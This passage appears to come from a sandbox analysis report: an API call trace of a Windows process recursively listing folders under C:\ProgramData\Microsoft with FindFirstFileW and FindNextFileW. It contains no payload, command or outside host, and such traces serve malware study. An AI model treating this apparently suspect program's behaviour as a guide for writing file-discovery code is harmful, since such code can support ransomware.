ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0271.455] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0271.456] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0271.456] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0271.456] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.456] GetProcessHeap () returned 0xc10000 [0271.456] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.456] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0271.456] GetProcessHeap () returned 0xc10000 [0271.456] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0271.458] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.458] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0271.458] GetProcessHeap () returned 0xc10000 [0271.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0271.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0271.459] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0271.459] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0271.459] GetProcessHeap () returned 0xc10000 [0271.459] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0271.459] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0271.460] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0271.460] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0271.460] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0271.460] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0271.460] GetProcessHeap () returned 0xc10000 [0271.460] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.460] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0271.460] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0271.460] GetProcessHeap () returned 0xc10000 [0271.460] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.460] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0271.461] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0271.461] GetProcessHeap () returned 0xc10000 [0271.461] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.462] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0271.462] GetProcessHeap () returned 0xc10000 [0271.462] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0271.464] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.464] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.464] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0271.464] GetProcessHeap () returned 0xc10000 [0271.464] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.465] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0271.465] GetProcessHeap () returned 0xc10000 [0271.465] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="咊8Â跐Ë~")) returned 0xffffffff [0271.465] GetProcessHeap () returned 0xc10000 [0271.465] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.465] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0271.465] GetProcessHeap () returned 0xc10000 [0271.465] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0271.466] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.466] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0271.466] GetProcessHeap () returned 0xc10000 [0271.466] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0271.467] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.467] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.467] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0271.468] GetProcessHeap () returned 0xc10000 [0271.468] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.468] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0271.468] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0271.468] GetProcessHeap () returned 0xc10000 [0271.468] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.468] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0271.468] GetProcessHeap () returned 0xc10000 [0271.468] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 